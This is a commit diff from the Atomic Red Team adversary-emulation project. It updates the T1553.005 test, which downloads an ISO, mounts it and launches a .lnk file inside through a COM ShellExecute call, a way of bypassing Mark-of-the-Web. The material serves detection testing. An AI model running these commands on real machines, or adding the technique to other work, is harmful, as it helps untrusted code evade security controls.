Merge pull request #2206 from redcanaryco/isofix
Update T1553.005 - Runs lnk now
This commit is contained in:
@@ -110,7 +110,8 @@ atomic_tests:
|
||||
Invoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1553.005/bin/AllTheThings.iso -OutFile "#{path_of_iso}"
|
||||
executor:
|
||||
command: |
|
||||
$keep = Mount-DiskImage -ImagePath "#{path_of_iso}" -StorageType ISO -Access ReadOnly
|
||||
Mount-DiskImage -ImagePath "#{path_of_iso}" -StorageType ISO -Access ReadOnly
|
||||
$keep = Get-Volume -FileSystemLabel "AllTheThings"
|
||||
$driveLetter = ($keep | Get-Volume).DriveLetter
|
||||
$instance = [activator]::CreateInstance([type]::GetTypeFromCLSID("{c08afd90-f2a1-11d1-8455-00a0c91f3880}"))
|
||||
$instance.Document.Application.ShellExecute($driveLetter+":\document.lnk","",$driveLetter+":\",$null,0)
|
||||
|
||||
Reference in New Issue
Block a user